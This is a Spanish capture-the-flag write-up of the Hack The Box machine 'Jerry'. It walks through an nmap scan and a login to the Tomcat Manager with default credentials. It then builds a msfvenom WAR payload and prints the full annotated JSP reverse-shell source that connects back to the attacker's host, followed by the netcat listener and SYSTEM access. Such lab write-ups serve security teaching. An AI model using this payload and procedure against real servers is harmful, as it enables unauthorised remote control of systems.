Enumeración
Iniciamos la fase de reconocimiento validando la conectividad con el objetivo. El TTL=127 del paquete ICMP nos confirmó que nos encontrábamos ante un sistema operativo Windows. Al realizar un escaneo de puertos con Nmap, identificamos una superficie de ataque mínima, con un único puerto abierto: el 8080, que corre un servidor Apache Tomcat 7.0.88.
# Inicializar la estructura de directorios y establecer la variable global $IP
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ htb-init jerry 10.129.136.9
Target IP globally set to: 10.129.136.9
# [-c 1] Enviar exactamente 1 paquete ICMP
# Comprobar la conexión y el ttl=127 que confirma un sistema Windows
┌──(jquirozz㉿jquirozz.com)-[~/HTB/jerry]
└─$ ping -c 1 $IP$
64 bytes from 10.129.136.9: icmp_seq=1 ttl=127 time=111 ms
# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS
# [-sS] Escaneo TCP SYN (Stealth)
# [--min-rate=5000] Optimización de velocidad
┌──(jquirozz㉿jquirozz.com)-[~/HTB/jerry]
└─$ sudo nmap -p- -n -sS -Pn --min-rate=5000 $IP -oG nmap/allPorts
PORT STATE SERVICE
8080/tcp open http-proxy
# [-p...] Escanear específicamente el puerto 8080
# [-sCV] Combinación para ejecutar scripts por defecto (-sC) y enumerar versiones (-sV)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/jerry]
└─$ sudo nmap -p8080 -sCV $IP -oN nmap/versions
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
Al visitar el puerto 8080, nos encontramos con la página por defecto de Apache Tomcat.

Explotación
Navegando por la interfaz web, identificamos el botón para acceder a la Manager App (el panel de administración de Tomcat). Al intentar ingresar, se nos presentó un cuadro de autenticación básica. En lugar de recurrir inmediatamente a ataques complejos o exploits no autenticados, probamos credenciales por defecto comunes en entornos Tomcat. Logramos acceder exitosamente utilizando la combinación clásica tomcat:s3cret.


Con acceso al dashboard de administración, obtuvimos la capacidad de desplegar aplicaciones web empaquetadas en archivos WAR (Web Application Archive). Aprovechando esta funcionalidad legítima del servidor, utilizamos msfvenom para generar un archivo .war malicioso que contenía una reverse shell programada en Java (JSP). Para comprender mejor el ataque y evitar que fuera una simple “caja negra”, descomprimimos el payload localmente e inspeccionamos el código fuente que se ejecutaría en el servidor.
# Generar el payload empaquetado en formato WAR
# [-p] Seleccionar payload de reverse shell en Java/JSP
# [-f war] Formato de salida para desplegar en Tomcat
┌──(jquirozz㉿jquirozz.com)-[~/HTBjerry]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.233 LPORT=4444 -f war -o scripts/revshell.war
# Descomprimir el archivo WAR para inspeccionar su contenido (Opcional, para análisis)
┌──(kali㉿kali)-[~/HTB/jerry]
└─$ unzip scripts/revshell.war -d scripts/contenido_shell
creating: scripts/contenido_shell/WEB-INF/
inflating: scripts/contenido_shell/WEB-INF/web.xml
inflating: scripts/contenido_shell/ynprwsvdt.jsp
# Leer el código fuente del JSP generado por msfvenom
┌──(kali㉿kali)-[~/HTB/jerry]
└─$ cat scripts/contenido_shell/ynprwsvdt.jsp
Aunque no se requiere ser un desarrollador experto en Java para comprometer esta máquina, analizar el payload generado nos ayuda a desmitificar la herramienta y comprender la lógica detrás del socket de red bidireccional:
// Importar librerias
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
// StreamConnector hereda de 'Thread' para poder ejecutarse en segundo plano.
// Su única función es actuar como una "tubería" (pipe):
// toma datos de un origen (InputStream) y los empuja constantemente hacia un destino (OutputStream).
class StreamConnector extends Thread
{
InputStream x1;
OutputStream a6;
StreamConnector( InputStream x1, OutputStream a6 )
{
this.x1 = x1; // Origen de los datos
this.a6 = a6; // Destino de los datos
}
public void run()
{
BufferedReader bZ = null;
BufferedWriter jHh = null;
try
{
bZ = new BufferedReader( new InputStreamReader( this.x1 ) );
jHh = new BufferedWriter( new OutputStreamWriter( this.a6 ) );
char buffer[] = new char[8192]; // Se leen fragmentos de 8KB a la vez
int length;
// Bucle infinito: mientras haya datos en el origen, los lee y los escribe en el destino
while( ( length = bZ.read( buffer, 0, buffer.length ) ) > 0 )
{
jHh.write( buffer, 0, length );
jHh.flush(); // Fuerza el envío inmediato de los datos (vital para evitar lag en la shell)
}
} catch( Exception e ){}
}
}
try
{
String ShellPath;
// msfvenom hace este payload multiplataforma. Si es windows usa cmd.exe.
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
// Inicia una conexión TCP saliente desde el servidor vulnerado hacia nuestra máquina atacante.
Socket socket = new Socket( "10.10.14.233", 4444 );
// Arranca 'cmd.exe' (en este caso Jerry) de forma invisible en el servidor.
Process process = Runtime.getRuntime().exec( ShellPath );
// Se instancian dos hilos de nuestra clase 'StreamConnector' para cruzar el tráfico de red con la consola local del servidor:
// HILO A: Lee la salida del cmd.exe (STDOUT) y la envía por red hacia nuestro Netcat.
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
// HILO B: Lee lo que nosotros tecleamos en Netcat y lo inyecta como comandos dentro del cmd.exe (STDIN).
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
Una vez comprendido el payload, lo subimos a través de la sección “WAR file to deploy” del panel de Tomcat. Al acceder al directorio creado http://10.129.136.9:8080/revshell, el servidor ejecutó el código JSP y nos devolvió la conexión.
Debido a que Tomcat estaba configurado como un servicio principal en Windows sin restricciones, obtuvimos acceso inmediato como nt authority\system. En esta máquina, la escalada de privilegios no fue necesaria.
Utilizando el comando tree mapeamos rápidamente la estructura de directorios y descubrimos que ambas flags se encontraban de forma atípica unidas en un único archivo dentro del escritorio del Administrador.
# En una terminal aparte, ponemos a netcat a escuchar en el puerto 4444
┌──(jquirozz㉿jquirozz.com)-[~/HTB/jerry]
└─$ nc -lvnp 4444
connect to [10.10.14.233] from (UNKNOWN) [10.129.136.9] 49192
# Confirmar nuestros privilegios máximos en el sistema
C:\apache-tomcat-7.0.88>whoami
nt authority\system
# Visualizar la estructura de directorios para ubicar las flags rápidamente
# [/f] Expandir la salida para mostrar los archivos individuales dentro de cada directorio
# [/a] Utilizar caracteres ASCII básicos (+, -, \) para dibujar el árbol
# [C:\Users] Especificar la ruta raíz desde donde el comando comenzará a mapear el sistema
C:\apache-tomcat-7.0.88>tree /f /a C:\Users
+---Administrator
| +---Desktop
| | \---flags
| | 2 for the price of 1.txt
| +---Documents
| +---Downloads
| | apache-tomcat-7.0.88-windows-x64.zip
| +---Favorites
| | | Bing.url
| | \---Links
| +---Music
| +---Pictures
\---Public
# Pwned!
C:\apache-tomcat-7.0.88>type "C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt"
user.txt
70****************************00
root.txt
04****************************0e